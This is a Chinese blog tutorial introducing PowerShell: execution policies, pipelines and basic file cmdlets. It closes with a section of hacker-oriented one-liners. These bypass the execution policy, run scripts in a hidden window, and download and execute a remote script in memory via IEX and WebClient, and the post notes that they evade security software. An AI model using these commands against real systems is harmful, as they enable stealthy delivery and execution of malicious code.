PowerShell入门学习

本文介绍了PowerShell的强大功能,包括其在Windows系统中的默认安装、内存执行特性、执行策略管理、脚本运行、管道操作及常用命令,重点讲解了如何绕过权限执行和安全策略。适合黑客和系统管理员了解和实践。
摘要由CSDN通过智能技术生成

公粽号:黒掌

一个专注于分享渗透测试、黑客圈热点、黑客工具技术区博主!

PowerShell简介

PowerShell是一种命令行外壳程序和脚本环境,它置于Windows7/Windows Server2008 R2及以上更高的版本中。它可以执行Linux系统下的一些命令,这是非常强大的一点。它的脚本后缀为(.ps1),可在磁盘中执行,也可无需写入磁盘直接在内存中运行。

PowerShell的优点

1、Windows7以上的操作系统默认安装。

2、PowerShell脚本可以运行在内存中,不需要写入磁盘。

3、可以从另一个系统中下载PowerShell脚本并执行。

4、目前很多工具都是基于PowerShell开发的。

5、很多安全软件并不能检测到PowerShell的活动。

6、cmd.exe通常会被阻止运行,但是PowerShell不会。

7、可以用来管理活动目录。


使用命令查看PowerShell版本:

Get-Host`或者`$PSVersionTable.PSVERSION

经测试,PowerShell不区分大小写:

image-20210715141828161

PowerShell的基本概念

PS1文件

PowerShell脚本就是一个简单的脚本文件,包含了一系列的PowerShell命令,每个命令显示为独立的一行。PS脚本文件的后缀为(.ps1)。

执行策略

为了防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,执行策略被设为受限。

使用命令确定当前的执行策略:

Get-ExecutionPolicy

image-20210715141846261

因为之前我在本机上没有执行过PowerShell的任何脚本,所以PS的执行策略为默认设置即受限(Restricted)。

PowerShell具有四种执行策略分别为:

1、Restricted:脚本不能运行(默认设置)。

2、RemoteSigned:本地创建的脚本可运行,网上下载的带数字证书签名的脚本可运行。

3、AllSigned:仅当脚本由受信任的发布者签名时才能运行。

4、Unrestricted:允许所有的脚本运行。


使用命令设置PowerShell的执行策略:

Set-ExecutionPolicy <policy name>

将执行策略设置为允许所有脚本运行:

Set-ExecutionPolicy Unrestricted

image-20210715141859515

第一次执行爆红了,提示我们需要以管理员身份运行PowerShell,所以修改执行策略的时候需要管理员身份。

image-20210715141914245以管理员的身份进行修改就ok了。

再次查看执行策略,策略被修改:

image-20210715141928039


运行脚本

运行PS脚本,必须键入完整的路径和文件名,例如C:\Scripts\a.ps1

若此PS脚本恰好在刚好位于当前处在的目录中,可以直接在脚本名前加.\以运行脚本,例如.\a.ps1

管道

管道的作用是将一个命令的输出作为另一个命令的输入,以符号|连接。

get-process p*的意思是获取以”p”字符开头的程序

image-20210715141957679

get-process p* | stop-process则是关掉以”p”字符开头的程序。

PowerShell常用命令

基本知识

PS的命令都采用”动词+名词”的形式。

关于文件操作的命令:

1、新建目录:md test1

——MD函数,它内部调用的是New-Item命令,指定参数–type的值为Directory

new-item test2.txt -type directory

2、新建文件

new-item test.txt -type file

3、删除目录

remove-item test1

4、显示文本的内容

get-content test.txt

5、设置文本的内容

set-content test.txt -value "again Hello World!"

在这里看出,如果本来文件中有内容,但使用此命令,原来的内容就会消失,等于重置。


6、追加内容

add-content test.txt -value "今天是情人节!"

可以看到追加的内容,追加在下一行。


7、清除内容

clear-content test.txt

可以看到内容被清除。

常用命令

1、绕过本地权限执行

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

2、本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1

3、用IEX下载远程PS1脚本绕过权限执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

ExecutionPolicy Bypass绕过执行安全策略

WindowStyle Hidden隐藏窗口

NoProfilePowerShell控制台不加载当前用户的配置文件

NolLogo启动不显示版权标志的PowerShell

Nonlnteractive非交互模式,PowerShell不为用户提供交互的提示

Noexit执行后不退出shell(常用于键盘记录)
活码3D(缩小)

今天的分享就到这里,喜欢的小伙伴记得点赞收藏转发,我有一个公粽号【黒掌】, 里面分享了更多黑客秘籍,欢迎来耍!

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值